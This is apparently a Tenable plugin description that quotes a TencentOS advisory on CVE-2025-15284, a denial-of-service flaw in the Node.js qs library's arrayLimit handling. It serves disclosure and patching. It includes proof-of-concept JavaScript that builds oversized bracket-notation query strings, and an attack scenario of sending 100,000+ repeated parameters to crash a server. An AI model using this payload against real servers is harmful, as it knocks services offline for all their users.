"The version of Tencent Linux installed on the remote TencentOS Server 4 host is prior to tested version. It is,
therefore, affected by a vulnerability as referenced in the TSSA-2026:0007 advisory.

    Package updates are available for TencentOS Server 4 that fix the following vulnerabilities:

    CVE-2025-15284:
    Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: <
    6.14.1.


    SummaryThe arrayLimitoption in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing
    attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimitfor DoS
    protection are vulnerable.

    DetailsThe arrayLimitoption only checks limits for indexed notation (a[0]=1&a[1]=2) but completely
    bypasses it for bracket notation (a[]=1&a[]=2).

    Vulnerable code(lib/parse.js:159-162):

    if (root === '[]' && options.parseArrays) {
      obj = utils.combine([], leaf);  // No arrayLimit check
    }





    Working code(lib/parse.js:175):

    else if (index <= options.arrayLimit) {  // Limit checked here
      obj = [];
      obj[index] = leaf;
    }





    The bracket notation handler at line 159 uses utils.combine([], leaf)without validating against
    options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimitbefore creating
    arrays.

    PoCTest 1 - Basic bypass:

    npm install qs





    const qs = require('qs');
    const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
    console.log(result.a.length);  // Output: 6 (should be max 5)





    Test 2 - DoS demonstration:

    const qs = require('qs');
    const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
    const result = qs.parse(attack, { arrayLimit: 100 });
    console.log(result.a.length);  // Output: 10000 (should be max 100)





    Configuration:

    *  arrayLimit: 5(test 1) or arrayLimit: 100(test 2)
    *  Use bracket notation: a[]=value(not indexed a[0]=value)


    ImpactDenial of Service via memory exhaustion. Affects applications using qs.parse()with user-controlled
    input and arrayLimitfor protection.

    Attack scenario:

    *  Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x(100,000+ times)
    *  Application parses with qs.parse(query, { arrayLimit: 100 })
    *  qs ignores limit, parses all 100,000 elements into array
    *  Server memory exhausted  application crashes or becomes unresponsive
    *  Service unavailable for all users
    Real-world impact:

    *  Single malicious request can crash server
    *  No authentication required
    *  Easy to automate and scale
    *  Affects any endpoint parsing query strings with bracket notation

Tenable has extracted the preceding description block directly from the Tencent Linux security advisory.
